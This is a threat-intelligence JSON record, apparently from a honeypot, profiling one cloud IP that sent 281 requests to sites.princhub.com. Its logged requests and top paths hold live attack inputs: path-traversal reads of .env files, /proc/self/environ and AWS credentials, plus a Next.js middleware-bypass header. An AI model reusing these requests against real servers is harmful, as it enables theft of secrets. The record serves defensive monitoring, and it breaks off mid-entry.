{"ip":"35.229.167.222","total_events":281,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"86 exploit-path hits","confidence":"high","network_type":null,"why":["86 request(s) matched a known exploit path.","Body-carrying methods (POST/PUT/PATCH/DELETE) seen: payload delivery, not just recon.","5+ hits raise confidence to high.","Not in any known-scanner range.","Sent 1,116,442 bytes: sustained payload delivery, not a single opportunistic request."],"engagement":{"level":"payload","label":"Sustained payload","detail":"1,116,442 bytes sent","bytes_sent":1116442,"session_seconds":11,"persistent":false}},"first_seen":"2026-10-11T14:21:35","last_seen":"2026-10-11T14:21:47","events_24h":0,"events_7d":281,"geo":{"country_code":"TW","country_name":"Taiwan","region":"Taipei City","city":"Taipei","lat":25.053,"lon":121.5259,"asn":396982,"org":"Google LLC"},"source_domain":"222.167.229.35.bc.googleusercontent.com","known_scanners":[],"scanner_tag":{"key":"gcp","label":"Google Cloud","category":"hosting_provider","url":"https://cloud.google.com/"},"cve_matches":[{"cve_id":"CVE-2021-43798","title":"Grafana v8.x - Arbitrary File Read","severity":"high","actively_exploited":true,"match_field":"url_path","matched_pattern":"/public/plugins"},{"cve_id":"CVE-2026-89013","title":"Dolibarr < 24.0.0 - Authorization Bypass via hashp Parameter","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/document.php"},{"cve_id":"CVE-2024-56159","title":"Astro - Information Disclosure","severity":"medium","actively_exploited":false,"match_field":"url_path","matched_pattern":"/pages/index.astro.mjs.map"}],"malware":[],"udp":null,"top_ports":[{"port":443,"proto":"tcp","label":"HTTPS","count":281}],"fingerprints":{"ssh_hassh":[],"tls_ja4":["t13d1516h2_8daaf6152771_d8a2da3f94cd"],"tls_client_hello":"16030106bb010006b703031c96354a1a4d35a4188b53275863fb1f340ff2f3643bd3ef9a051753294a69b72030abc8f1046c9bea1f7d3c947beb86b567991ea87a2694fc8f56e8d7929cb94500203a3a130113021303c02bc02fc02cc030cca9cca8c013c014009c009d002f00350100064e0a0a0000001b000302000200120000ff010001000010000e000c02683208687474702f312e3144cd0005000302683200000017001500001273697465732e7072696e636875622e636f6d00230000003304ef04ed5a5a00010011ec04c05bc1b1a6ac4278e000f6b20594d84fa2e4c313b76a1cbb5915746801da2e9039aba71c88d23b35b70b912bf54f434c75df83187518aeed657ddff36b30542dbd1c381ec7ad44f09a6982aae8874bc0d898d3841d78c91f4f713f54bc050749b32a0105b8ebccbb7ba0ed28abe4f222e7b6a3eb85775ceab2f2109b64db082ed0423939442dccbb00dd3d54562afc465b176578d59594ee1656f448abd6e67fdee713e9da62033705fda25f6a32a791e2a334b57a49bb43cf7bc8588392e0d3355eac44fa473178cb6f7016bbb522cb0a868f95bb8dd22b6555b777f057630a6a3c19426ff04059ca5575575275b5079b2d5c481327cbf463a369f47b8c1a538c4885d146644f69b29a8813e9c55f5fa48a7fb34478612a7f955460c1419d5ca598c6ccbfea8d06f31ca16727ac46a6950216e2433066b30823b4908712804fb905e1da22eb7600b85b71ad32bbb9d88c2124cd6789b86aec42f7b5a04518730eb17b0ef8ac44fa7246076750396f417b32c8b5b23c831c11b87f9b74cc45aa205fb082f4237217395db4a1ccffc201206596a5f27d1a6138520b05f7c44b2d82191a9807af3b07abe75af8774a34d7852e79ba68a05f158739791544d0294133018ddfc2b3412671b7677e3f0b79c038933c05c55176652e47ba20b8b823d97bac8a5dbeabc866fc15a13b98e7335e2eb8a9973a068ed3bb32e9adbd4938dde9b0eaaa0f1568355166b5ca140ffd6b6a39346c3047ab7e8752b23c2791d74d4cd9ced3170586cc6c128a42431a94602a82b101898914cd328713c688b31a604ee956718f7198392a147424b717ca997679bb0446ce2388b7106968c1a9b38f6119cd50607a6947764c4faf4a5aaf455f22e2548d9998c065c989799061cb790c669e1d1c9bd359276152607a4878c3285d98591754290000dd506720a6d9d2ab772712e1d053c9e433e055b47ea421264419f53b08565559a97a0b44a957f3a344e1d77f81a68b6624b458b0ce4ca608714bb10960292da2743f77cc8f7112b9ab4b701b486b1b8716a35cceea6fd9f5237722cea6e48ef85c7039e88dbbba3f350542ce73a5c0283685f6223c292d388c672a3aa14398972f096d7bc731841b944ee9ca50ba4766c54d8c46691049b5265411fe6b51fc460ee36988f9369c5e030e7801313a63b58f896675ec0393c127c5467c80d46612e61f80e497957c5e94c43066382f96e470365c71948cca37e1a2838493db26940c9acf0a2b516885b0ccf48240c5bbd5475c87659c0a9c96c6c7b4db1038d33445d07480476a8893c2bab6143f808b19eaf5a38ca0b606d84f11a99f40f8a5a221aaae5b5a2698c0f15543a5c7a240e34b6bc77e31f9bf960bac7951123cf55b145a9386c66cd972b01e98219cb5cdf3422af925965ed5013172c1cb8501963597f56392fd8268b1a292feb8024efcb6aa981bb9fcc842e15982e379ddd270a9b56d186b20a415b6f54116c9eb3aa617bc5b1512ed818373603a0a15b9fc4ba801d90a979c75856125145811dcc8411cac34da97c8b0faa9c27c8a6cac97dcd1b6c9702fc111563f8588550b71959128da0b7417d4bd642b4e766b20ce323b2131256404158d6710277caa91e26beb43248713f1972bfa7c0ad9c13ed335bb6131fcec1d96ccbc83dc6a4049605bce92194d21636563103e5d40229677a5ba0b2c8824984380d225001d0020712d4e87e857da7216147dc11c7b92f03c426ffe97f99aba4b8e4759d4a9cc5d000b00020100002d00020101002b000706eaea0304030300170000000d0012001004030804040105030805050108060601000500050100000000fe0d00ba0000010001bb0020e31b28c016950549c938f1f907054b1b64d0c7e7b475743146351115a291ea530090a970b2a184b04935657f12f2809cd561685adf330d6cdb2a20f5aa31bc727eb40e6403b480d05282cb6f98998e1953441680598c487e17ba6e516ea11377c3732612cd3b64467b9745e0c22fb7660c8ea2afb76aaed221a0d4218f27364bf6a3763d40eb27d544c81535e6fb80cd937d281d896d0e4f53c264a60275ae8f147cc84a6e34c6d48e5cf43ab61f7df58b14000a000c000a5a5a11ec001d00170018baba0001","tls_ja3":["682890414e4ae9876ba23bdaf5f81c19","3725db0cd29229a445dde3d79913b8ad","51428878dbaa2b15cfc1a300d4b55fbb","936421f2bf32f6b97b2b47ce46564097","cfc9a95824477b986de2f3a8b399fd0e"],"http_akin":["b11cun162_000c73fe_fe528c8e_xce00d0f1","b11cun062_00040016_84d4cebf_xce00d0f1","b11cuq150_10057dde_0ef1dcbb"]},"fingerprint_peers":{"t13d1516h2_8daaf6152771_d8a2da3f94cd":23,"b11cuq150_10057dde_0ef1dcbb":17,"b11cun162_000c73fe_fe528c8e_xce00d0f1":17,"b11cun062_00040016_84d4cebf_xce00d0f1":17},"akin_families":{},"user_agents":["Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)","Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user)","Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)","Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)","Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot","CCBot/2.0 (https://commoncrawl.org/faq/)","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Safari/537.36","Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot"],"timeline":[{"date":"2026-10-11","count":281}],"recent_events":[{"timestamp":"2026-10-11T14:21:47","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip\",\"host\":\"sites.princhub.com\",\"user-agent\":\"CCBot/2.0 (https://commoncrawl.org/faq/)\",\"x-middleware-subrequest\":\"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware\",\"x-nextjs-data\":\"1\"}","body":"","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/api/fs/read?allowOutsideWorkspace=true&path=/app/.env","summary":"","payload_hex":"474554202f6170692f66732f726561643f616c6c6f774f757473696465576f726b73706163653d7472756526706174683d2f6170702f2e656e7620485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204343426f742f322e30202868747470733a2f2f636f6d6d6f6e637261776c2e6f72672f6661712f290d0a4163636570743a202a2f2a0d0a582d4d6964646c65776172652d537562726571756573743a207372632f6d6964646c65776172653a6e6f7761663a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6e6f7761663a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a70616765732f5f6d6964646c65776172650d0a582d4e6578746a732d446174613a20310d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a","method":"GET","user_agent":"CCBot/2.0 (https://commoncrawl.org/faq/)","ja3":"5733389c3587be9a0e970c427bc69b9f","session":"e5aea52f-e0e8-440a-b739-39f254ebb900","seq":18,"duration_ms":9358,"bytes_in":7414,"bytes_out":1422},{"timestamp":"2026-10-11T14:21:47","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip\",\"host\":\"sites.princhub.com\",\"user-agent\":\"DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)\",\"x-middleware-subrequest\":\"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware\",\"x-nextjs-data\":\"1\"}","body":"","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/cache/original/%2e%2e/.env","summary":"","payload_hex":"474554202f63616368652f6f726967696e616c2f2532652532652f2e656e7620485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204475636b417373697374426f742f312e31202868747470733a2f2f6475636b6475636b676f2e636f6d2f6475636b617373697374626f74290d0a4163636570743a202a2f2a0d0a582d4d6964646c65776172652d537562726571756573743a207372632f6d6964646c65776172653a6e6f7761663a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6e6f7761663a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a70616765732f5f6d6964646c65776172650d0a582d4e6578746a732d446174613a20310d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a","method":"GET","user_agent":"DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)","ja3":"0c0ca79ffef89a7c944aeddab8fcbb6d","session":"d8a3f167-df95-4d1d-a1a1-57fb4b1291d9","seq":17,"duration_ms":8902,"bytes_in":6897,"bytes_out":1343},{"timestamp":"2026-10-11T14:21:46","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; Meta-WebIndexer/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)\",\"x-middleware-subrequest\":\"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware\",\"x-nextjs-data\":\"1\"}","body":"","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/shared/.env","summary":"","payload_hex":"474554202f7368617265642f2e656e7620485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b204d6574612d576562496e64657865722f312e303b202b68747470733a2f2f646576656c6f706572732e66616365626f6f6b2e636f6d2f646f63732f73686172696e672f7765626d6173746572732f637261776c6572290d0a4163636570743a202a2f2a0d0a582d4d6964646c65776172652d537562726571756573743a207372632f6d6964646c65776172653a6e6f7761663a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6e6f7761663a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a70616765732f5f6d6964646c65776172650d0a582d4e6578746a732d446174613a20310d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (compatible; Meta-WebIndexer/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)","ja3":"7b05a5159a9b27daeea37ed0cab03601","session":"540ea947-1e3d-4fa5-aefa-47937b06fb49","seq":18,"duration_ms":9246,"bytes_in":7542,"bytes_out":1422},{"timestamp":"2026-10-11T14:21:46","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)\",\"x-middleware-subrequest\":\"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware\",\"x-nextjs-data\":\"1\"}","body":"","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/api/w/default/jobs_u/get_log_file/../../../../proc/self/environ","summary":"","payload_hex":"474554202f6170692f772f64656661756c742f6a6f62735f752f6765745f6c6f675f66696c652f2e2e2f2e2e2f2e2e2f2e2e2f70726f632f73656c662f656e7669726f6e20485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e3020284c696e75783b20416e64726f696420362e302e313b204e65787573203558204275696c642f4d4d4232395029204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f29204368726f6d652f3133312e302e302e30204d6f62696c65205361666172692f3533372e33362028636f6d70617469626c653b20476f6f676c65626f742f322e313b202b687474703a2f2f7777772e676f6f676c652e636f6d2f626f742e68746d6c290d0a4163636570743a202a2f2a0d0a582d4d6964646c65776172652d537562726571756573743a207372632f6d6964646c65776172653a6e6f7761663a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6e6f7761663a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a70616765732f5f6d6964646c65776172650d0a582d4e6578746a732d446174613a20310d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)","ja3":"2488669a476c877002e759ae4e6f843c","session":"f6d266c5-65f8-4561-8e13-1a7b07a59829","seq":18,"duration_ms":8624,"bytes_in":7701,"bytes_out":1422},{"timestamp":"2026-10-11T14:21:46","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)\",\"x-middleware-subrequest\":\"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware\",\"x-nextjs-data\":\"1\"}","body":"","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/.env.save","summary":"","payload_hex":"474554202f2e656e762e7361766520485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e30204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f3b20636f6d70617469626c653b20436c617564652d557365722f312e303b202b636c61756465626f7440616e7468726f7069632e636f6d290d0a4163636570743a202a2f2a0d0a582d4d6964646c65776172652d537562726571756573743a207372632f6d6964646c65776172653a6e6f7761663a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6e6f7761663a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a70616765732f5f6d6964646c65776172650d0a582d4e6578746a732d446174613a20310d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)","ja3":"9db25a895ce0b175a9b236d29dfa34ad","session":"2e9e3fa6-7b3c-4874-be2f-1ebe038a30ca","seq":18,"duration_ms":9047,"bytes_in":7497,"bytes_out":1422},{"timestamp":"2026-10-11T14:21:46","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.4; +https://openai.com/gptbot\",\"x-middleware-subrequest\":\"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware\",\"x-nextjs-data\":\"1\"}","body":"","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/.env.bak","summary":"","payload_hex":"474554202f2e656e762e62616b20485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e30204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f293b20636f6d70617469626c653b20475054426f742f312e343b202b68747470733a2f2f6f70656e61692e636f6d2f677074626f740d0a4163636570743a202a2f2a0d0a582d4d6964646c65776172652d537562726571756573743a207372632f6d6964646c65776172653a6e6f7761663a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6e6f7761663a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a70616765732f5f6d6964646c65776172650d0a582d4e6578746a732d446174613a20310d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.4; +https://openai.com/gptbot","ja3":"2622800dc27577673b874832ffa2f53f","session":"984b6b87-cdd0-49ab-a914-64a99fa45d35","seq":17,"duration_ms":9011,"bytes_in":7673,"bytes_out":1343},{"timestamp":"2026-10-11T14:21:46","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)\",\"x-middleware-subrequest\":\"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware\",\"x-nextjs-data\":\"1\"}","body":"","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/.env.backup","summary":"","payload_hex":"474554202f2e656e762e6261636b757020485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b204d6f6f6e73686f74426f742f312e303b202b68747470733a2f2f6b696d692e61692f290d0a4163636570743a202a2f2a0d0a582d4d6964646c65776172652d537562726571756573743a207372632f6d6964646c65776172653a6e6f7761663a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6e6f7761663a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a70616765732f5f6d6964646c65776172650d0a582d4e6578746a732d446174613a20310d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)","ja3":"0c0ca79ffef89a7c944aeddab8fcbb6d","session":"d8a3f167-df95-4d1d-a1a1-57fb4b1291d9","seq":16,"duration_ms":8545,"bytes_in":6517,"bytes_out":1264},{"timestamp":"2026-10-11T14:21:46","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)\",\"x-middleware-subrequest\":\"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware\",\"x-nextjs-data\":\"1\"}","body":"","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/proc/self/cgroup","summary":"","payload_hex":"474554202f70726f632f73656c662f6367726f757020485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b204272617665626f742f312e303b202b68747470733a2f2f62726176652e636f6d2f7365617263682f290d0a4163636570743a202a2f2a0d0a582d4d6964646c65776172652d537562726571756573743a207372632f6d6964646c65776172653a6e6f7761663a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6e6f7761663a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a70616765732f5f6d6964646c65776172650d0a582d4e6578746a732d446174613a20310d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)","ja3":"2488669a476c877002e759ae4e6f843c","session":"f6d266c5-65f8-4561-8e13-1a7b07a59829","seq":19,"duration_ms":9075,"bytes_in":8081,"bytes_out":1501},{"timestamp":"2026-10-11T14:21:46","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)\",\"x-middleware-subrequest\":\"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware\",\"x-nextjs-data\":\"1\"}","body":"","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/.env.production","summary":"","payload_hex":"474554202f2e656e762e70726f64756374696f6e20485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b20596f75426f742f312e303b202b68747470733a2f2f796f752e636f6d2f626f74290d0a4163636570743a202a2f2a0d0a582d4d6964646c65776172652d537562726571756573743a207372632f6d6964646c65776172653a6e6f7761663a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6e6f7761663a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a70616765732f5f6d6964646c65776172650d0a582d4e6578746a732d446174613a20310d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)","ja3":"7b05a5159a9b27daeea37ed0cab03601","session":"540ea947-1e3d-4fa5-aefa-47937b06fb49","seq":17,"duration_ms":8880,"bytes_in":7122,"bytes_out":1343},{"timestamp":"2026-10-11T14:21:46","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com) AppleWebKit/537.36\",\"x-middleware-subrequest\":\"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware\",\"x-nextjs-data\":\"1\"}","body":"","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/.env.local","summary":"","payload_hex":"474554202f2e656e762e6c6f63616c20485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b20427974657370696465723b207370696465722d666565646261636b406279746564616e63652e636f6d29204170706c655765624b69742f3533372e33360d0a4163636570743a202a2f2a0d0a582d4d6964646c65776172652d537562726571756573743a207372632f6d6964646c65776172653a6e6f7761663a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6e6f7761663a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a70616765732f5f6d6964646c65776172650d0a582d4e6578746a732d446174613a20310d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com) AppleWebKit/537.36","ja3":"5733389c3587be9a0e970c427bc69b9f","session":"e5aea52f-e0e8-440a-b739-39f254ebb900","seq":17,"duration_ms":8968,"bytes_in":7023,"bytes_out":1343}],"http_methods":[{"method":"GET","count":278},{"method":"POST","count":3}],"distinct_ports_total":1,"top_paths":[{"path":"/@fs/../.env?raw??","count":1,"ports":1},{"path":"/@fs/..%252f..%252f..%252f..%252f..%252fproc/self/environ?raw??","count":1,"ports":1},{"path":"/static/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f.env","count":1,"ports":1},{"path":"/__vite_rsc_findSourceMapURL?filename=file:///app/.env&environmentName=rsc","count":1,"ports":1},{"path":"/__vite_rsc_findSourceMapURL?filename=file:///root/.aws/credentials&environmentName=rsc","count":1,"ports":1},{"path":"/public/plugins/alertlist/../../../../../../../../proc/self/environ","count":1,"ports":1},{"path":"/static/../../../a/../../../../proc/self/environ","count":1,"ports":1},{"path":"/api/system/fileView?file=/proc/self/environ","count":1,"ports":1},{"path":"/.env.development::$DATA?raw","count":1,"ports":1},{"path":"/@fs/..%252f..%252f..%252f..%252f..%252froot/.env?raw??","count":1,"ports":1},{"path":"/resources/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f.env","count":1,"ports":1},{"path":"/api/w/default/jobs_u/get_log_file/../../../../proc/self/environ","count":1,"ports":1},{"path":"/google-service-account.json","count":1,"ports":1},{"path":"/z9x8c7v6b5-debug-trigger-sites.princhub.com","count":1,"ports":1},{"path":"/public/plugins/text/../../../../../../../../proc/self/environ","count":1,"ports":1}],"distinct_paths_total":200,"top_snis":[{"value":"sites.princhub.com","count":281}],"top_hosts":[{"value":"sites.princhub.com","count":281}],"top_alpns":[{"value":"h2, http/1.1","count":281}],"banners":[],"credentials":[],"header_profile":{"signature":["Accept","Accept-Encoding","Host","User-Agent","X-Middleware-Subrequest","X-Nextjs-Data"],"representative":[{"name":"Accept","value":"*/*","notable":false},{"name":"Accept-Encoding","value":"gzip","notable":false},{"name":"Host","value":"sites.princhub.com","notable":false},{"name":"User-Agent","value":"CCBot/2.0 (https://commoncrawl.org/faq/)","notable":false},{"name":"X-Middleware-Subrequest","value":"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware","notable":true},{"name":"X-Nextjs-Data","value":"1","notable":true}],"distinct_sets":1,"events_with_headers":10},"tags":[{"tag_id":"CVE-2021-43798","tag_type":"cve","title":"Grafana v8.x - Arbitrary File Read","severity":"high","actively_exploited":true,"match_field":"url_path","matched_pattern":"/public/plugins","reference_urls":["https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p","https://nosec.org/home/detail/4914.html","https://github.com/jas502n/Grafana-VulnTips","https://nvd.nist.gov/vuln/detail/CVE-2021-43798","http://packetstormsecurity.com/files/165198/Grafana-Arbitrary-File-Reading.html"]},{"tag_id":"CVE-2026-89013","tag_type":"cve","title":"Dolibarr < 24.0.0 - Authorization Bypass via hashp 